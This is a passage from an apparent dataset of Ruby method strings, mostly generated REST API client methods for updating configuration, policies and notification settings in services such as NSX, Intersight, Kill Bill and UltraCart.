tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(policy_tier1_multicast_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysMulticastApi#patch_policy_tier1_multicast_config_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def configure(options, cfg)\n cfg = super(options, cfg)\n cfg[:offline_queueing] = options[:offline_queueing]\n cfg[:filter_params] = options[:filter_params]\n cfg\n end",
"def updateNotifications\r\n\t\tdataHash = {\r\n\t\t\tuser_id: params[:user].id,\r\n experience_p_status: params[:experience_p_status],\r\n experience_status: params[:experience_status],\r\n\t\t\tfeelike_status: params[:feelike_status],\r\n\t\t\tfollows_status: params[:follows_status],\r\n comment_status: 0\r\n\t\t}\r\n UsersSettings.byUser(params[:user].id).first.updateNotifications(dataHash)\r\n self.default_response\r\n\tend",
"def update_notification_rule_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.update_notification_rule ...'\n end\n # resource path\n local_var_path = '/v1/notification/rule'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n # return_type\n return_type = opts[:return_type] || 'NotificationRule' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#update_notification_rule\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_email_notifications_for_account_with_http_info(account_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AccountsApi.set_email_notifications_for_account ...\"\n end\n # verify the required parameter 'account_id' is set\n if @api_client.config.client_side_validation && account_id.nil?\n fail ArgumentError, \"Missing the required parameter 'account_id' when calling AccountsApi.set_email_notifications_for_account\"\n end\n if @api_client.config.client_side_validation && account_id !~ Regexp.new(/\\\\w+-\\\\w+-\\\\w+-\\\\w+-\\\\w+/)\n fail ArgumentError, \"invalid value for 'account_id' when calling AccountsApi.set_email_notifications_for_account, must conform to the pattern /\\\\w+-\\\\w+-\\\\w+-\\\\w+-\\\\w+/.\"\n end\n\n # resource path\n local_var_path = \"/1.0/kb/accounts/{accountId}/emailNotifications\".sub('{' + 'accountId' + '}', account_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'X-Killbill-CreatedBy'] = opts[:'x_killbill_created_by'] if !opts[:'x_killbill_created_by'].nil?\n header_params[:'X-Killbill-Reason'] = opts[:'x_killbill_reason'] if !opts[:'x_killbill_reason'].nil?\n header_params[:'X-Killbill-Comment'] = opts[:'x_killbill_comment'] if !opts[:'x_killbill_comment'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#set_email_notifications_for_account\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_accounts_receivable_retry_config_with_http_info(retry_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.update_accounts_receivable_retry_config ...'\n end\n # verify the required parameter 'retry_config' is set\n if @api_client.config.client_side_validation && retry_config.nil?\n fail ArgumentError, \"Missing the required parameter 'retry_config' when calling OrderApi.update_accounts_receivable_retry_config\"\n end\n # resource path\n local_var_path = '/order/accountsReceivableRetryConfig'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(retry_config)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BaseResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#update_accounts_receivable_retry_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def apply_grip_config(config)\n if !config.is_a?(Array)\n config = [config]\n end\n config.each do |entry|\n if !entry.key?('control_uri')\n next\n end\n client = PubControlClient.new(entry['control_uri'])\n if entry.key?('control_iss')\n client.set_auth_jwt({'iss' => entry['control_iss']}, entry['key'])\n end\n super_add_client(client)\n end\n end",
"def update(config=nil)\n @config = config if !config.nil?\n response = send_xml_post_request(@xml_api_config_path, @config)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def options_update_config(event, hash)\n return if(@test_running)\n $conf.update_config(hash)\n clear_gui_and_results() if(hash.has_key?(:scan_mode) || hash.has_key?(:scan_type) )\n ws_sync_from_conf() if(hash.has_key?(:sslv2) || hash.has_key?(:tlsv1)|| hash.has_key?(:sslv3) )\n event.skip\n end",
"def create_or_update_policy_tier1_multicast_config_with_http_info(tier_1_id, locale_services_id, policy_tier1_multicast_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config\"\n end\n # verify the required parameter 'policy_tier1_multicast_config' is set\n if @api_client.config.client_side_validation && policy_tier1_multicast_config.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_tier1_multicast_config' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config\"\n end\n # resource path\n local_var_path = '/infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/multicast'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(policy_tier1_multicast_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicyTier1MulticastConfig')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysMulticastApi#create_or_update_policy_tier1_multicast_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def apply_config(config)\n if !config.is_a?(Array)\n config = [config]\n end\n config.each do |entry|\n pub = PubControlClient.new(entry['uri'])\n if entry.key?('iss')\n pub.set_auth_jwt({'iss' => entry['iss']}, entry['key'])\n end\n @clients.push(pub)\n end\n end",
"def update_config(options = {})\n @logger.debug(\"config changed: #{options.inspect}\")\n @urlmapping = options[:urlmapping] || []\n @filters = options[:filters] || []\n end",
"def update(config=nil)\n @config = config if !config.nil?\n response = send_xml_post_request(@xml_api_config_path, @config)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def configure\n reconfigure_notifier\n end",
"def configure\n reconfigure_notifier\n end",
"def patch_vnic_fc_adapter_policy_with_http_info(moid, vnic_fc_adapter_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.patch_vnic_fc_adapter_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.patch_vnic_fc_adapter_policy\"\n end\n # verify the required parameter 'vnic_fc_adapter_policy' is set\n if @api_client.config.client_side_validation && vnic_fc_adapter_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_fc_adapter_policy' when calling VnicApi.patch_vnic_fc_adapter_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/FcAdapterPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_fc_adapter_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicFcAdapterPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.patch_vnic_fc_adapter_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#patch_vnic_fc_adapter_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_or_update_policy_tier1_multicast_config_0_with_http_info(tier_1_id, locale_services_id, policy_tier1_multicast_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config_0 ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config_0\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config_0\"\n end\n # verify the required parameter 'policy_tier1_multicast_config' is set\n if @api_client.config.client_side_validation && policy_tier1_multicast_config.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_tier1_multicast_config' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.create_or_update_policy_tier1_multicast_config_0\"\n end\n # resource path\n local_var_path = '/global-infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/multicast'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(policy_tier1_multicast_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicyTier1MulticastConfig')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysMulticastApi#create_or_update_policy_tier1_multicast_config_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_config(show_main_tour: nil, show_mobile_tour: nil, show_feed_tour: nil, show_entry_tour: nil,\n show_kb_shortcuts_tour: nil)\n new_config = {}\n new_config[:show_main_tour] = show_main_tour if !show_main_tour.nil?\n new_config[:show_mobile_tour] = show_mobile_tour if !show_mobile_tour.nil?\n new_config[:show_feed_tour] = show_feed_tour if !show_feed_tour.nil?\n new_config[:show_entry_tour] = show_entry_tour if !show_entry_tour.nil?\n new_config[:show_kb_shortcuts_tour] = show_kb_shortcuts_tour if !show_kb_shortcuts_tour.nil?\n Rails.logger.info \"Updating user #{self.id} - #{self.email} with show_main_tour #{show_main_tour}, \" +\n \"show_mobile_tour #{show_mobile_tour}, show_feed_tour #{show_feed_tour}, \" +\n \"show_entry_tour #{show_entry_tour}, show_kb_shortcuts_tour #{show_kb_shortcuts_tour}\"\n self.update new_config if new_config.length > 0\n end",
"def patch_vnic_lan_connectivity_policy_with_http_info(moid, vnic_lan_connectivity_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.patch_vnic_lan_connectivity_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.patch_vnic_lan_connectivity_policy\"\n end\n # verify the required parameter 'vnic_lan_connectivity_policy' is set\n if @api_client.config.client_side_validation && vnic_lan_connectivity_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_lan_connectivity_policy' when calling VnicApi.patch_vnic_lan_connectivity_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/LanConnectivityPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_lan_connectivity_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicLanConnectivityPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.patch_vnic_lan_connectivity_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#patch_vnic_lan_connectivity_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_email_notification\n service_response = ClientManagement::UpdateEmailNotificationSetting.new(params).perform\n render_api_response(service_response)\n end",
"def send_notifications\n end",
"def send_notifications(conditions = {})\n if self.cert.nil?\n raise APN::Errors::MissingCertificateError.new\n return\n end\n APN::App.send_notifications_for_cert(self.cert, self.id, conditions)\n end",
"def set_application_configuration_with_http_info(configuration_settings, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApplicationManagementApi.set_application_configuration ...'\n end\n # verify the required parameter 'configuration_settings' is set\n if @api_client.config.client_side_validation && configuration_settings.nil?\n fail ArgumentError, \"Missing the required parameter 'configuration_settings' when calling ApplicationManagementApi.set_application_configuration\"\n end\n if @api_client.config.client_side_validation && opts[:'learning_standard'] && !['SCORM_11', 'SCORM_12', 'SCORM_2004_2ND_EDITION', 'SCORM_2004_3RD_EDITION', 'SCORM_2004_4TH_EDITION', 'AICC', 'XAPI', 'CMI5'].include?(opts[:'learning_standard'])\n fail ArgumentError, 'invalid value for \"learning_standard\", must be one of SCORM_11, SCORM_12, SCORM_2004_2ND_EDITION, SCORM_2004_3RD_EDITION, SCORM_2004_4TH_EDITION, AICC, XAPI, CMI5'\n end\n # resource path\n local_var_path = '/appManagement/configuration'\n\n # query parameters\n query_params = {}\n query_params[:'learningStandard'] = opts[:'learning_standard'] if !opts[:'learning_standard'].nil?\n query_params[:'singleSco'] = opts[:'single_sco'] if !opts[:'single_sco'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(configuration_settings)\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApplicationManagementApi#set_application_configuration\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_vnic_fc_network_policy_with_http_info(moid, vnic_fc_network_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.patch_vnic_fc_network_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.patch_vnic_fc_network_policy\"\n end\n # verify the required parameter 'vnic_fc_network_policy' is set\n if @api_client.config.client_side_validation && vnic_fc_network_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_fc_network_policy' when calling VnicApi.patch_vnic_fc_network_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/FcNetworkPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_fc_network_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicFcNetworkPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.patch_vnic_fc_network_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#patch_vnic_fc_network_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def notify\n send_email_notification if allow_email_notifications\n send_slack_notification if allow_slack_notifications\n end",
"def get_adapter_config_policy_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.get_adapter_config_policy_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling AdapterApi.get_adapter_config_policy_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/adapter/ConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AdapterConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AdapterApi.get_adapter_config_policy_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdapterApi#get_adapter_config_policy_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_vnic_eth_adapter_policy_with_http_info(moid, vnic_eth_adapter_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.patch_vnic_eth_adapter_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.patch_vnic_eth_adapter_policy\"\n end\n # verify the required parameter 'vnic_eth_adapter_policy' is set\n if @api_client.config.client_side_validation && vnic_eth_adapter_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_eth_adapter_policy' when calling VnicApi.patch_vnic_eth_adapter_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/EthAdapterPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_eth_adapter_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicEthAdapterPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.patch_vnic_eth_adapter_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#patch_vnic_eth_adapter_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_auto_apply_with_http_info(conditions, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CouponApi.update_auto_apply ...'\n end\n # verify the required parameter 'conditions' is set\n if @api_client.config.client_side_validation && conditions.nil?\n fail ArgumentError, \"Missing the required parameter 'conditions' when calling CouponApi.update_auto_apply\"\n end\n # resource path\n local_var_path = '/coupon/auto_apply'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(conditions)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CouponApi#update_auto_apply\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_admins\n\n @notification_types_config_hash.each do |n_type, data|\n include_admin_ids = @email_setting[n_type.to_s]\n\n @admins.each do |admin|\n if include_admin_ids.include?(admin.id)\n admin.send(\"set_#{n_type.to_s}\")\n else\n admin.send(\"unset_#{n_type.to_s}\")\n end\n end\n\n end\n\n @admins.each do |admin|\n if admin.changed?\n admin.save!\n @was_notification_setting_updated = true\n end\n end\n\n return error_with_data(\n 's_cm_uens_ua_1',\n 'Invalid parameters',\n 'You are choosing to save existing settings.',\n GlobalConstant::ErrorAction.default,\n {}\n ) if !@was_notification_setting_updated\n\n success\n end",
"def link_config(cfg)\n @params.fetch(cfg) do\n Backdat::Config[\"#{self.name.downcase}_#{cfg.to_s}\".to_sym]\n end\n end",
"def publish_current_config_update(config_id)\n nutella.net.publish('currentConfig/updated', config_id)\n puts 'Sent currentConfig/updated'\nend",
"def send_config(payload)\n json = JSON.dump(payload)\n parcel = EncodedParcel.new(json)\n request = Request.new(parcel)\n\n @client.send_config_payload(request)\n end",
"def update_all_config\n @admin.updateConfiguration\n end",
"def create_adapter_config_policy_with_http_info(adapter_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.create_adapter_config_policy ...'\n end\n # verify the required parameter 'adapter_config_policy' is set\n if @api_client.config.client_side_validation && adapter_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'adapter_config_policy' when calling AdapterApi.create_adapter_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/adapter/ConfigPolicies'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(adapter_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AdapterConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AdapterApi.create_adapter_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdapterApi#create_adapter_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
